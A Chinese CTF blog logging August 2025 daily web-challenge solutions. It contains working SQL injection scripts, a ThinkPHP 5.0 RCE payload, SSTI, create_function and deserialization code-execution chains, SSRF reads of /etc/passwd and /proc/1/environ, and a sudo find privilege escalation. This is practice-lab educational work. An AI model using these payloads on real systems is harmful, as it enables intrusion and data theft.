2025-8月每日一题


8月1日[SWPUCTF 2022 新生赛]where_am_i

进题目提示什么是11位,那肯定是电话号码了,但是啥电话号码不知道,但是还给了一张图片,识图看看,发现是一个酒店,

image-20250801154717507 image-20250801155805935

把这酒店电话一填,就有flag了(web题考misc!!!)

image-20250801155909920

8月4日[HNCTF 2022 WEEK2]4 byte command

nc连接,直接用最短命令nl *成功rce

image-20250804160118894

8月5日[NCTF 2021]baibaibai

thinkPHP5.0.16- sql盲注(rce漏洞)

有www.zip泄露,翻源码发现M1sakaM1yuu.php有sql注入漏洞

image-20250805111647739

然后发现thinkphp版本是5.0.16

image-20250805111624556

然后网上找找,发现Thinkphp 5.0.15 SQL注入漏洞挖掘分析-先知社区

第十届南京邮电大学网络攻防大赛(NCTF 2021)writeup - 渗透测试中心 - 博客园

本来这个sqll注入漏洞是5.0.13<=ThinkPHP<=5.0.15 、 5.1.0<=ThinkPHP<=5.1.5 。但上文也给出了5.0.16的漏洞利用。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import requests
import time
flag = ''

for i in range(1,100):
    for j in r'{}0123456789abcdefghijklmnopqrlstuv\/wxyz-_,<>\?.':
        #开始计时
        before_time = time.time()
        #payload     = 'substr((select(database())),{},1)="{}"'.format(i,j)
        #payload     = 'substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),{},1)="{}"'.format(i,j)
        #payload     = 'substr((select(group_concat(column_name))from(information_schema.columns)where(table_name="m1saka")),{},1)="{}"'.format(i,j)
        payload     = 'substr((select(load_file("/var/www/html/ffllaagg.php"))),{},1)="{}"'.format(i,j)
        url         = 'http://129.211.173.64:8086/public/index.php/index/m1saka_m1yuu/index?username[0]=exp&username[1]=sleep(if((1^({})),0,3))&username[2]=1'.format(payload)
        #print(url)
        r           = requests.get(url)
        #print(r.text)
        #返回时间
        after_time  = time.time()
        offset      = after_time - before_time
        if offset > 2.8:
            flag    += j
            print(flag)
            break

或者直接rce(直接搜thinkph5.0.16漏洞就有rce漏洞)

1
/public//?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls /;tac /flag

image-20250805155952122

8月6日[SWPUCTF 2021 新生赛]easy_md5

image-20250806172016594

8月7日[HCTF 2018]Warmup

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
<?php
    // 显示当前文件的源代码
    highlight_file(__FILE__);
    
    // 定义一个名为emmm的类
    class emmm
    {
        // 静态方法checkFile,用于检查文件是否在白名单中
        public static function checkFile(&$page)
        {
            // 定义白名单数组,只允许访问source.php和hint.php
            $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
            
            // 检查1:如果$page未设置或不是字符串,返回false
            if (! isset($page) || !is_string($page)) {
                echo "you can't see it";
                return false;
            }

            // 检查2:如果$page完全匹配白名单中的值,返回true
            if (in_array($page, $whitelist)) {
                return true;
            }

            // 处理带问号的参数:截取问号前的部分
            $_page = mb_substr(
                $page,
                0,
                mb_strpos($page . '?', '?') // 查找问号位置,找不到则返回字符串长度
            );
            
            // 检查3:如果截取后的部分在白名单中,返回true
            if (in_array($_page, $whitelist)) {
                return true;
            }

            // 对URL解码后再次检查
            $_page = urldecode($page);
            $_page = mb_substr(
                $_page,
                0,
                mb_strpos($_page . '?', '?')
            );
            
            // 检查4:如果解码并截取后的部分在白名单中,返回true
            if (in_array($_page, $whitelist)) {
                return true;
            }
            
            // 所有检查都不通过,返回false
            echo "you can't see it";
            return false;
        }
    }

    // 主程序逻辑
    if (! empty($_REQUEST['file'])        // 检查file参数是否存在且非空
        && is_string($_REQUEST['file'])   // 检查file参数是否为字符串
        && emmm::checkFile($_REQUEST['file'])  // 调用checkFile方法进行白名单验证
    ) {
        // 所有检查通过,包含指定的文件
        include $_REQUEST['file'];
        exit;
    } else {
        // 检查未通过,显示一张图片
        echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
    }  
?>

访问hint.php提示flag in ffffllllaaaagggg。直接目录穿越就行

1
?file=source.php?../../.../../../../../ffffllllaaaagggg

解释一下:审计代码知道file要有source.php或者hint.php,且要在?前,然后利用在文件系统中,source.php? 被视为目录(即使不存在),所以直接../ 向上跳转目录路径穿越拿flag。

这里简单学一下 mb_substr() 函数,看个例子就懂了。

1
2
3
4
<?php
echo mb_substr("菜鸟教程", 0, 2);
// 输出:菜鸟
?>

8月8日[极客大挑战 2020]rceme

考点:取反打无数字无字母rce+system(next(getallheaders()));打无参数rce

进入题目查看源码提示vim源码泄露,直接访问/.index.php.swp得到其源码

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
/**********************************
 *
 *      author : Longlone
 *       type  : Backup
 *
 **********************************/



<?php
error_reporting(0);
session_start();
if(!isset($_SESSION['code'])){
        $_SESSION['code'] = substr(md5(mt_rand().sha1(mt_rand)),0,5);
}

if(isset($_POST['cmd']) and isset($_POST['code'])){

        if(substr(md5($_POST['code']),0,5) !== $_SESSION['code']){
                die('<script>alert(\'Captcha error~\');history.back()</script>');
        }
        $_SESSION['code'] = substr(md5(mt_rand().sha1(mt_rand)),0,5);
        $code = $_POST['cmd'];
        if(strlen($code) > 70 or preg_match('/[A-Za-z0-9]|\'|"|`|\ |,|\.|-|\+|=|\/|\\|<|>|\$|\?|\^|&|\|/ixm',$code)){
                die('<script>alert(\'Longlone not like you~\');history.back()</script>');
        }else if(';' === preg_replace('/[^\s\(\)]+?\((?R)?\)/', '', $code)){
                @eval($code);
                die();
        }
}
?>

先就爆破code,这个$_SESSION['code']在题目页面给出

1
2
3
4
5
6
import hashlib
for i in range(1,10000000000000):
    m=hashlib.md5(str(i).encode()).hexdigest()
    if m[0:5]=='72146':
        print(i)
        break

然后就是关于rce了,首先这个无数字字母rce一眼用取反绕过,然后第二层正则还限制了必须是无参数rce,所以用

1
2
3
4
5
6
7
system(next(getallheaders()));  //getallheaders()简单讲可以获取数包据头
 
选择ua那注入
 
然后修改成:User-Agent: ls
 
代码执行后,会获取第二个字段的值,我是把us的位置手动调成第二个字段,然后执行命令

异或的脚本如下

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
def one(s):
    ss = ""
    for each in s:
        ss += "%" + str(hex(255 - ord(each)))[2:].upper()
    return f"[~{ss}][!%FF]("

while 1:
    a = input(":>").strip(")")
    aa = a.split("(")
    s = ""
    for each in aa[:-1]:
        s += one(each)
    s += ")" * (len(aa) - 1) + ";"
    print(s)
1
[~%8C%86%8C%8B%9A%92][!%FF]([~%91%9A%87%8B][!%FF]([~%98%9A%8B%9E%93%93%97%9A%9E%9B%9A%8D%8C][!%FF]()));

image-20250808174845096

但是这有点坑,就是这个$_SESSION['code']会随着你发包后变化,所以下面有个自动化脚本自动获取code然后rce

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
import hashlib
import requests

s = requests.session()

url = 'http://node4.anna.nssctf.cn:28467/'
r = s.get(url)
pos = r.text.find('==')
code = r.text[pos+2:pos+7]

code_md5 = ''
for i in range(1,10000000000000):
    m=hashlib.md5(str(i).encode()).hexdigest()
    if m[0:5]==code:
        code_md5 = i
        print(i)
        break
cmd = '[~%8C%86%8C%8B%9A%92][!%FF]([~%91%9A%87%8B][!%FF]([~%98%9A%8B%9E%93%93%97%9A%9E%9B%9A%8D%8C][!%FF]()));'

raw_data = f'code={code_md5}&cmd={cmd}'
r = s.post(
    url=url,
    data=raw_data,
    allow_redirects=False,
    headers={
        'Content-Type': 'application/x-www-form-urlencoded',
        'User-Agent': 'tac /flll1114gggggg',
    }
)
print('[*]', r.text)

PHP的无参数RCE-先知社区

考点:ssi注入

扫描得到index.php.swp得到其源码

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
<?php
	ob_start();
	function get_hash(){
		$chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!@#$%^&*()+-';
		$random = $chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)];//Random 5 times
		$content = uniqid().$random;
		return sha1($content); 
	}
    header("Content-Type: text/html;charset=utf-8");
	***
    if(isset($_POST['username']) and $_POST['username'] != '' )
    {
        $admin = '6d0bc1';
        if ( $admin == substr(md5($_POST['password']),0,6)) {
            echo "<script>alert('[+] Welcome to manage system')</script>";
            $file_shtml = "public/".get_hash().".shtml";
            $shtml = fopen($file_shtml, "w") or die("Unable to open file!");
            $text = '
            ***
            ***
            <h1>Hello,'.$_POST['username'].'</h1>
            ***
			***';
            fwrite($shtml,$text);
            fclose($shtml);
            ***
			echo "[!] Header  error ...";
        } else {
            echo "<script>alert('[!] Failed')</script>";
            
    }else
    {
	***
    }
	***
?>

这里有个$admin == substr(md5($_POST['password']),0,6),这里个代码直接跑

1
2
3
4
5
6
7
import hashlib

for i in range(1,100000000000):
    a=hashlib.md5(str(i).encode('utf-8')).hexdigest()
    if a[0:6]=='6d0bc1':
        print(i)
        break    

跑出来是2020666,然后用户名随便,发包得到

image-20250809111206641

访问,但是环境有点问题

image-20250809111239753

后面是打ssi注入,SSI 注入全称Server-Side Includes Injection(服务端包含注入),ssi可以赋予html静态页面的动态效果,通过ssi执行命令,返回对应的结果

^v^

8月10日[NSSRound#16 Basic]了解过PHP特性吗

php各种函数性质利用+create_function进行rce

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
<?php
error_reporting(0);
highlight_file(__FILE__);
include("rce.php");
$checker_1 = FALSE;
$checker_2 = FALSE;
$checker_3 = FALSE;
$checker_4 = FALSE;
$num = $_GET['num'];
if (preg_match("/[0-9]/", $num)) {
    die("no!!");
}
if (intval($num)) {
    $checker_1 = TRUE;
}
if (isset($_POST['ctype']) && isset($_POST['is_num'])) {
    $ctype = strrev($_POST['ctype']);	//strrev() 函数反转字符串。
    $is_num = strrev($_POST['is_num']);
    if (ctype_alpha($ctype) && is_numeric($is_num) && md5($ctype) == md5($is_num)) {//0e开头绕过就行
        $checker_2 = TRUE;	//ctype_alpha() 函数检测字符串中所有字符是否都为字母
    }
}
$_114 = $_GET['114'];
$_514 = $_POST['514'];
if (isset($_114) && intval($_114) > 114514 && strlen($_114) <= 3) {
    if (!is_numeric($_514) && $_514 > 9999999) {
        $checker_3 = TRUE;
    }
}
$arr4y = $_POST['arr4y'];
if (is_array($arr4y)) {
    for ($i = 0; $i < count($arr4y); $i++) {
        if ($arr4y[$i] === "NSS") {
            die("no!");
        }
        $arr4y[$i] = intval($arr4y[$i]);
    }
    if (array_search("NSS", $arr4y) === 0) {//array_search() 函数用于在数组中搜索某个值,并返回对应的键名。如果找不到该值,则返回 false。在转换后数组中搜索字符串"NSS"由于其默认只比较值不比较类型,整数0会被认为等于字符串"NSS",所以如果转换后的数组第一个元素是0,就会满足条件,就会返回键名0,所以arr4y[]=0或者arr4y[0]=0就行(等于字母也行)
        $checker_4 = TRUE;
    }
}
if ($checker_1 && $checker_2 && $checker_3 && $checker_4) {
    echo $rce;
}

PHP array_search() 函数 | 菜鸟教程

1
?num[]=1&114=9e9
1
ctype=YcGyb&is_num=807016042&514=100000000a&arr4y[]=0

得到路由Rc3_function.php

1
2
3
4
5
6
7
8
<?php
error_reporting(0);
highlight_file(__FILE__);
$nss=$_POST['nss'];
$shell = $_POST['shell'];
if(isset($shell)&& isset($nss)){
    $nss_shell = create_function($shell,$nss);
}
1
shell=&nss=echo 123;}system('cat /f*');//

这个就相当于

1
2
function f(){
echo 123;}system('cat /f*');//}				//最后需要注释去掉}避免语法错误。

8月11日[SDCTF 2022]CURL Up and Read

考点:js阻止非法url+curl的SSRF漏洞利用

输入https://www.baidu.com发现跳到百度,后端抓包试试,格式是/read/base64编码的{"url":"https://www.baidu.com"}那打打ssrf??

直接打file:///etc/passwd试试,前端打无效(js阻止了不合法的http的url),后端抓包试试,格式是/read/eyJ1cmwiOiJmaWxlOi8vL2V0Yy9wYXNzd2QifQ==发现可以

image-20250811155919453

尝试一番发现flag在/proc/1/envrion,打file:///proc/1/environ

image-20250811160734849

8月12日[网鼎杯 2018]unfinish

考点:sql之二次注入+过滤了逗号from-for代替

原登入页面无sql漏洞,扫描得到/register.php,所以这里可能有漏洞

1
2
3
4
5
注册1' and '0 ,登入后用户是0,可能存在二次注入(这样注册用户名是'1' and '0',进行逻辑与运算,结果是0)

注册a' and 'b,登入后依然是0,那没错了(注册用户名是'a' and 'b',字符串准换成数字后进行逻辑与,即0,所以结果是0)

注册a' or 'b,结果仍是0,那没错,是打sql二次注入

【CTF】二次注入原理及实战-CSDN博客

1
2
二次注入是指已存储(数据库、文件)的用户输入被读取后再次进入到 SQL 查询语句中导致的注入。
二次注入是sql注入的一种,但是比普通sql注入利用更加困难,利用门槛更高。普通注入数据直接进入到 SQL 查询中,而二次注入则是输入数据经处理后存储,取出后,再次进入到 SQL 查询。
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import requests
import re
from time import *

def exp():
    url = 'http://node4.anna.nssctf.cn:28718/'
    url1 = url+'register.php'
    url2 = url+'login.php'
    flag = ''
    for i in range(1,100):
        sleep(0.5)
        data1 = {"email":"a{}@qq.com".format(i),"username":"0'+ascii(substr((select * from flag) from {} for 1))+'0;".format(i),"password":"myan"}
        data2 = {"email":"a{}@qq.com".format(i),"password":"myan"}
        r1 = requests.post(url1,data1)
        r2 = requests.post(url2,data2)
        res1 = re.search(r'<span class="user-name">\s*(\d*)\s*</span>',r2.text)
        res2 = re.search(r"(\d+)", res1.group())
        flag = flag+chr(int(res2.group()))
        print(flag)
        if '}' in flag:
            break

if __name__ == "__main__":
    exp()

8月13日[GWCTF 2019]blog

考点:文件名注入+cbc字节反转

注册后,可以上传文件,但是无路径,这里想到文件名注入,直接fuzz一波,发现过滤了select,group,concat,where,from(from开始没测出来,字典不全)

image-20250813105240160

发现这些关键词过滤大小写绕不了,但是直接双写绕过了(应该是进行了将关键词替换成空),接下来开始注入

这文件名注入和二次注入感觉有点像,都是INSERT INTO语句将恶意输入存入数据库

1
2
sql为insert into 表名('filename',...) values('你上传的文件名',...);
构造上述文件名后拼接sql得...values('文件名'+(selselectect conv(substr(hex(database()),1,12),16,10))+'.jpg',...);

尝试一番,打

1
'+(selselectect(database()))+'		//发现返回0,说明sql执行,但是无法输出,所以可能数据被过滤

1
'+(selselectect(hex(database())))+'	//发现显示`62797465637466`转码是`bytectf`

然后本来想继续按这个思路打下去,但是发现不行,原因看下文

存在于文件名中的SQL手工注入 - Smile-exp - 博客园

举个例子,当我打

1
a1'+(selselectect(hex(database())))+'	//仍是返回62797465637466

当我打

1
1'+(selselectect(hex(database())))+'	//返回62797465637467,比上面多1.

当我打

1
1a'+(selselectect(hex(database())))+'	//仍返回62797465637467

也就是如果(selselectect(hex(database())))包含字母,会将整个结果取整,显然我们不能让其这样做。

那就利用conv将16进制转换为10进制,然后要用substr一段一段读(之所以要一段一段读是因为如果一次读太多的话会用科学计数法表示,就无法转回字符串了),查表

1
'+(selselectect(conv(hex(substr((selselectect(grogroupup_conconcatcat(table_name))frfromom(information_schema.tables)whewherere(table_schema='bytectf')),1,5)),16,10)))+'
1
2
3
4
422944466271	//byte_
439855375660	//file,
422944466271	//byte_
75736572		//user
1
'+(selselectect(conv(hex(substr((selselectect(grogroupup_conconcatcat(column_name))frfromom(information_schema.columns)whewherere(table_name='bytectf')),1,5)),16,10)))+'

但是查列没啥东西,直接查admin的密码

1
'+(selselectect(conv(hex(substr((selselectect(grogroupup_conconcatcat(password))frfromom(byte_user)whewherere(username='admin')),1,5)),16,10)))+'
1
2
3
4
5
6
7
8
219986080868	//3814d
237182661427	//79033
438999343929	//f6fc9
426030412643	//c1d3c
438895129185	//f002a
212168421937	//1f921
12336			//00
拼接得3814d79033f6fc9c1d3cf002a1f92100		//md5解密得kotori912

然后登入admin账户。上传文件发现ip非法,抓包看看。发现plain是base64,然后还提示cbc,解码base64试试

image-20250813121947152

1
{"is_admin":true,"ip":false}

接下来cbc反转不会了,这脚本调不出来。

[GXYCTF2019&GWCTF2019——Writeup_gxyctf2019]babysqliv3.0-CSDN博客

GWCTF2019 web wp | 会下雪的晴天

8月14日[CISCN 2019华东南]Double Secret

考点:rc4加密+ssti

先dirsearh扫一下,发现secret,然后再arjun扫一下发现secret参数。

image-20250814151617436

看到flask框架想到ssti,尝试{{2*2}}现报错,报错给ai审计,发现关键代码

1
2
3
rc = rc4_Modified.RC4("HereIsTreasure")  # 密钥是 "HereIsTreasure"
deS = rc.do_crypt(secret)  # 解密后的数据可能是字节串
a = render_template_string(safe(deS))  # 尝试渲染时出错

发现是因为字节串 deS经过rc4解密后包含非 ASCII 字符,而 Python 2.7 默认用 ASCII 解码失败,所以我们将payload加密试试

1
{{url_for["__globals__"]["os"]["popen"]("cat /flag.txt")["read"]()}}

image-20250814162626662

image-20250814162656777

当然也可以用代码

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
import base64
from urllib import parse

def rc4_main(key = "init_key", message = "init_message"):#返回加密后得内容
    s_box = rc4_init_sbox(key)
    crypt = str(rc4_excrypt(message, s_box))
    return  crypt

def rc4_init_sbox(key):
    s_box = list(range(256)) 
    j = 0
    for i in range(256):
        j = (j + s_box[i] + ord(key[i % len(key)])) % 256
        s_box[i], s_box[j] = s_box[j], s_box[i]
    return s_box
def rc4_excrypt(plain, box):
    res = []
    i = j = 0
    for s in plain:
        i = (i + 1) % 256
        j = (j + box[i]) % 256
        box[i], box[j] = box[j], box[i]
        t = (box[i] + box[j]) % 256
        k = box[t]
        res.append(chr(ord(s) ^ k))
    cipher = "".join(res)
    return (str(base64.b64encode(cipher.encode('utf-8')), 'utf-8'))

key = "HereIsTreasure"  #此处为密文
message = input("请输入明文:\n")
enc_base64 = rc4_main( key , message )
enc_init = str(base64.b64decode(enc_base64),'utf-8')
enc_url = parse.quote(enc_init)
print("rc4加密后的url编码:"+enc_url)
#print("rc4加密后的base64编码"+enc_base64) 

8月15日[HZNUCTF 2023 final]ezgo

考点:/bin/bash打sudo提权

按着题目意思,在/cmd路由post参数shit执行命令,打ls没用,那就打

1
echo /bin/*
image-20250815230456259

发现bash命令

1
/bin/bash -c "ls -al /"

发现flag要root权限

image-20250815230720000

1
/bin/bash -c "sudo -l"

发现sudo可以执行find命令

image-20250815231019999

然后打find命令即可

1
shit=/bin/bash -c "sudo find /flag -exec tac /flag \;"

find | GTFOBins

8月16日[GXYCTF 2019]禁止套娃

git泄露+无参rce用session_id读文件

1
githacker --url http://node4.anna.nssctf.cn:28753/ --output-folder nss

image-20250817164159908

然后发现git恢复的文件有源码

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
include "flag.php";
echo "flag在哪里呢?<br>";
if(isset($_GET['exp'])){
    if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
        if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
            if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
                // echo $_GET['exp'];
                @eval($_GET['exp']);
            }
            else{
                die("还差一点哦!");
            }
        }
        else{
            die("再好好想想!");
        }
    }
    else{
        die("还想读flag,臭弟弟!");
    }
}
// highlight_file(__FILE__);
?>

一眼就是这个无参数命令执行,看过滤get_defined_vars(),getallheaders()不能打。那就打session_id,由于过滤了dec|bin|hex|oct所以就不能打session_id执行命令,但是我们知道flag在flag.php,直接读文件就行了。

1
readfile(session_id(session_start()));		//show_source也行
image-20250817170209299

8月17日[NISACTF 2022]babyserialize

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
<?php
include "waf.php";
class NISA{
    public $fun="show_me_flag";
    public $txw4ever;
    public function __wakeup()
    {
        if($this->fun=="show_me_flag"){
            hint();
        }
    }

    function __call($from,$val){
        $this->fun=$val[0];
    }

    public function __toString()
    {
        echo $this->fun;
        return " ";
    }
    public function __invoke()
    {
        checkcheck($this->txw4ever);
        @eval($this->txw4ever);
    }
}

class TianXiWei{
    public $ext;
    public $x;
    public function __wakeup()
    {
        $this->ext->nisa($this->x);
    }
}

class Ilovetxw{
    public $huang;
    public $su;

    public function __call($fun1,$arg){
        $this->huang->fun=$arg[0];
    }

    public function __toString(){
        $bb = $this->su;
        return $bb();
    }
}

class four{
    public $a="TXW4EVER";
    private $fun='abc';

    public function __set($name, $value)
    {
        $this->$name=$value;
        if ($this->fun = "sixsixsix"){
            strtolower($this->a);
        }
    }
}

if(isset($_GET['ser'])){
    @unserialize($_GET['ser']);
}else{
    highlight_file(__FILE__);
}

//func checkcheck($data){
//  if(preg_match(......)){
//      die(something wrong);
//  }
//}

//function hint(){
//    echo ".......";
//    die();
//}
?>

先看hint.php,发现flag在根目录

1
2
3
4
5
6
7
8
<?php

class NISA{
    public $fun="show_me_flag";
}

$a=new NISA();
echo serialize($a);

接下来打pop链子

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
<?php
include "waf.php";
class NISA{
    public $fun="show_me_fla";
    public $txw4ever;
    public function __wakeup()
    {
        if($this->fun=="show_me_flag"){
            hint();
        }
    }

    function __call($from,$val){
        $this->fun=$val[0];
    }

    public function __toString()
    {
        echo $this->fun;
        return " ";
    }
    public function __invoke()
    {
        echo "5";
        checkcheck($this->txw4ever);
        @eval($this->txw4ever);
    }
}

class TianXiWei{
    public $ext;
    public $x;
    public function __wakeup()
    {
        echo "1";
        $this->ext->nisa($this->x);
    }
}

class Ilovetxw{
    public $huang;
    public $su;

    public function __call($fun1,$arg){
        echo "2";
        $this->huang->fun=$arg[0];
    }

    public function __toString(){
        echo "4";
        $bb = $this->su;
        return $bb();
    }
}

class four{
    public $a="TXW4EVER";
    private $fun='sixsixsix';

    public function __set($name, $value)
    {
        echo "3";
        $this->$name=$value;
        if ($this->fun = "sixsixsix"){
            strtolower($this->a);
        }
    }
}



$a=new TianXiWei();
$a->ext=new Ilovetxw();
$a->ext->huang=new four();
$a->ext->huang->a=new Ilovetxw();
$a->ext->huang->a->su= new NISA();
$a->ext->huang->a->su->txw4ever='System("cat /f*");';


echo urlencode(serialize($a));
?>

一是主要不要fun==“show_me_flag"否则直接die了。二使注意url编码,而且是不要要hackbar的url编码(hackbar的有点问题直接代码编码),最后就是注意大小写二绕过waf就行。后面看了看waf

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11

<?php
function checkcheck($data){
    if (preg_match("/\`|\^|\||\~|assert|\?|glob|sys|phpinfo|POST|GET|REQUEST|exec|pcntl|popen|proc|socket|link|passthru|file|posix|ftp|\_|disk/",$data,$match)){
        die('something wrong');
    }
}
function hint(){
    echo "flag is in /";
    die();
}

当然有更简单的链子,直接在NISA的弱比较触发toString就行

1
2
3
$a = new NISA();
$a->fun = new Ilovetxw();
$a->fun->su = $a;
谢谢观看